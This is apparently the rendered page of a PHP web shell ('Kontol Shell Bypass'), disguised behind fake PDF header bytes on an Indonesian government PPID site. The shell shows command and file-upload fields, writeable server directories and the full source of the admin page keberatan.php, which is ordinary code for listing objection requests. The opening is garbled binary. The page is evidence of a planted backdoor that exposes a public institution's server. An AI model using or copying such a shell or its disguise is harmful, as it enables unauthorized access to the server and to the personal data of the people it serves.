%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/keberatan.php
<?php
/**
 * Admin: daftar pengajuan keberatan.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_central();

$status = get_param('status');
$validStatus = ['baru', 'diproses', 'selesai'];

$where = '';
$params = [];
if (in_array($status, $validStatus, true)) {
    $where = 'WHERE status = ?';
    $params[] = $status;
}

$stmt = db()->prepare("SELECT * FROM keberatan $where ORDER BY created_at DESC");
$stmt->execute($params);
$rows = $stmt->fetchAll();

$alasanLabel = [
    'ditolak' => 'Permohonan ditolak',
    'tidak_ditanggapi' => 'Tidak ditanggapi',
    'tidak_sesuai' => 'Informasi tidak sesuai',
    'biaya_tidak_wajar' => 'Biaya tidak wajar',
    'keterlambatan' => 'Keterlambatan',
    'lainnya' => 'Lainnya',
];
$statusKeberatan = [
    'baru'     => 'bg-red-50 text-red-600 border-red-200',
    'diproses' => 'bg-blue-50 text-mateng-blue border-blue-200',
    'selesai'  => 'bg-green-50 text-mateng-green border-green-200',
];

$pageTitle  = 'Pengajuan Keberatan — CMS PPID';
$activeMenu = 'keberatan';
require __DIR__ . '/partials/head.php';
?>

<div class="mb-6">
    <h2 class="text-2xl font-bold text-slate-900">Pengajuan Keberatan</h2>
    <p class="text-sm text-slate-500 mt-1">Kelola keberatan atas layanan informasi publik.</p>
</div>

<div class="flex flex-wrap gap-2 mb-6">
    <?php foreach (['' => 'Semua', 'baru' => 'Baru', 'diproses' => 'Diproses', 'selesai' => 'Selesai'] as $key => $label): ?>
        <a href="<?= e(url('admin/keberatan.php' . ($key ? '?status=' . $key : ''))) ?>" class="px-4 py-2 rounded-lg text-sm font-medium border transition-colors <?= $status === $key ? 'bg-mateng-green text-white border-mateng-green' : 'bg-white text-slate-600 border-slate-200 hover:border-mateng-green' ?>"><?= e($label) ?></a>
    <?php endforeach; ?>
</div>

<div class="bg-white border border-slate-100 rounded-xl shadow-sm overflow-hidden">
    <div class="overflow-x-auto">
        <table class="w-full text-left border-collapse">
            <thead>
                <tr class="bg-slate-50 text-slate-500 text-xs uppercase tracking-wider">
                    <th class="px-6 py-4 font-semibold">No. Resi</th>
                    <th class="px-6 py-4 font-semibold">Pengaju</th>
                    <th class="px-6 py-4 font-semibold">Resi Permohonan</th>
                    <th class="px-6 py-4 font-semibold">Alasan</th>
                    <th class="px-6 py-4 font-semibold">Tanggal</th>
                    <th class="px-6 py-4 font-semibold">Status</th>
                    <th class="px-6 py-4 font-semibold text-center">Aksi</th>
                </tr>
            </thead>
            <tbody class="text-sm divide-y divide-slate-100 text-slate-700">
                <?php if (empty($rows)): ?>
                    <tr><td colspan="7" class="px-6 py-12 text-center text-slate-400"><i class="fas fa-gavel text-3xl mb-2 block"></i>Tidak ada keberatan ditemukan.</td></tr>
                <?php else: foreach ($rows as $k): ?>
                    <tr class="hover:bg-slate-50/50 transition-colors">
                        <td class="px-6 py-4 font-medium text-slate-900 whitespace-nowrap"><?= e($k['no_resi']) ?></td>
                        <td class="px-6 py-4">
                            <div class="font-medium text-slate-800"><?= e($k['nama']) ?></div>
                            <div class="text-xs text-slate-400"><?= e($k['email']) ?></div>
                        </td>
                        <td class="px-6 py-4 whitespace-nowrap"><?= e($k['no_resi_permohonan'] ?: '-') ?></td>
                        <td class="px-6 py-4"><?= e($alasanLabel[$k['alasan']] ?? $k['alasan']) ?></td>
                        <td class="px-6 py-4 whitespace-nowrap"><?= e(tanggal_id($k['created_at'])) ?></td>
                        <td class="px-6 py-4">
                            <span class="inline-flex items-center px-2.5 py-1 rounded-full text-xs font-semibold border capitalize <?= $statusKeberatan[$k['status']] ?? 'bg-slate-100 text-slate-600 border-slate-200' ?>"><?= e($k['status']) ?></span>
                        </td>
                        <td class="px-6 py-4 text-center">
                            <a href="<?= e(url('admin/keberatan-detail.php?id=' . $k['id'])) ?>" class="inline-flex p-2 text-mateng-blue hover:bg-blue-50 rounded-lg transition-colors" title="Detail"><i class="fas fa-eye"></i></a>
                        </td>
                    </tr>
                <?php endforeach; endif; ?>
            </tbody>
        </table>
    </div>
</div>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass